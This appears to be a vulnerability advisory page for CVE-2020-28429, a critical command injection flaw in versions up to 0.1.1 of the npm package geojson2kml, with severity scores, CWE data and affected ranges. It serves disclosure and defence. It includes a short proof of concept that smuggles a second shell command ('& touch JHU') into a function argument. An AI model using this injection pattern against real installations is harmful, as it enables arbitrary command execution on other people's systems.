GHSA-w83x-fp72-p9qc

Suggest an improvement
Source
https://github.com/advisories/GHSA-w83x-fp72-p9qc
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-w83x-fp72-p9qc/GHSA-w83x-fp72-p9qc.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-w83x-fp72-p9qc
Aliases
  • CVE-2020-28429
Published
2021-05-10T15:59:33Z
Modified
2023-11-08T04:03:25Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Command Injection in geojson2kml
Details

All versions up to and including version 0.1.1 of package geojson2kml are vulnerable to Command Injection via the index.js file.

PoC:

var a =require("geojson2kml"); 
a("./","& touch JHU",function(){})
Database specific
{
    "cwe_ids":  [
        "CWE-77"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2021-05-07T20:58:30Z",
    "nvd_published_at":  "2021-02-23T15:15:00Z",
    "severity":  "CRITICAL"
}
References

Affected packages

npm / geojson2kml

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Last Affected
0.1.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-w83x-fp72-p9qc/GHSA-w83x-fp72-p9qc.json"